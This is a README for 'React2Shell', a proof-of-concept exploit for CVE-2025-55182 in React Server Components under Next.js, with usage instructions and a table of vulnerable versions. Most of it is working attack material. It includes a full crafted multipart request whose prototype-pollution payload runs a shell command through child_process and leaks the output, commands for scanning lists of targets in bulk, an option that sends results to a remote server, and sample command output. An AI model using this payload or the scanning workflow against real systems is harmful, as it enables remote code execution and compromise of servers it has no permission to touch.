
React2Shell is a proof-of-concept exploit for CVE-2025-55182 affecting vulnerable React Server Components (RSC) implementations in Next.js
██████╗ ███████╗ █████╗ ██████╗████████╗██████╗ ███████╗██╗ ██╗███████╗██╗ ██╗
██╔══██╗██╔════╝██╔══██╗██╔════╝╚══██╔══╝╚════██╗██╔════╝██║ ██║██╔════╝██║ ██║
██████╔╝█████╗ ███████║██║ ██║ █████╔╝███████╗███████║█████╗ ██║ ██║
██╔══██╗██╔══╝ ██╔══██║██║ ██║ ██╔═══╝ ╚════██║██╔══██║██╔══╝ ██║ ██║
██║ ██║███████╗██║ ██║╚██████╗ ██║ ███████╗███████║██║ ██║███████╗███████╗███████╗
╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚══════╝╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝
Written by INDRA
This project is provided for educational purposes, security research, and authorized penetration testing only.
The author assumes no responsibility for any misuse or damage caused by this software.
Only use this exploit against systems that you own or have explicit permission to test.
React2Shell is a proof-of-concept exploit for CVE-2025-55182 affecting vulnerable React Server Components (RSC) implementations in Next.js.
The exploit sends a crafted multipart request that abuses the vulnerable deserialization flow and extracts command output through the application's redirect digest response.
When successful, the exploit displays the executed command output directly in the terminal.
Python 3.8+
Install dependencies:
pip install requests urllib3
.
├── exploit.py
└── README.md
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
python exploit.py -h
python exploit.py -u https://target.com
targets.txt
target1.com
target2.com
target3.com
Run
python exploit.py -f targets.txt
python exploit.py -u https://target.com -o results.txt
python exploit.py -u https://target.com -l https://your-log-server.com
python exploit.py -f targets.txt -o results.txt -l https://your-log-server.com
🚀 Loaded 42 targets (HTTP + HTTPS)
🔥 [VULNERABLE] https://target.com/
💀 Command Output →
uid=1000(node) gid=1000(node) groups=1000(node)
──────────────────────────────────────────────
Unauthorized use of this software against systems without permission may violate local, national, or international laws.
The author is not responsible for any misuse.
Happy Hunting 🕷️
| Version | Status |
|---|
| 19.0 | ⚠ Vulnerable |
| 19.1.0 | ⚠ Vulnerable |
| 19.1.1 | ⚠ Vulnerable |
| 19.2.0 | ⚠ Vulnerable |
| 19.0.1 | ✅ Patched |
| 19.1.2 | ✅ Patched |
| 19.2.1 | ✅ Patched |
| Option | Description |
|---|
-u | Target URL |
-f | File containing target domains |
-o | Save vulnerable targets locally |
-l | Send results to remote log server |
-h | Show help |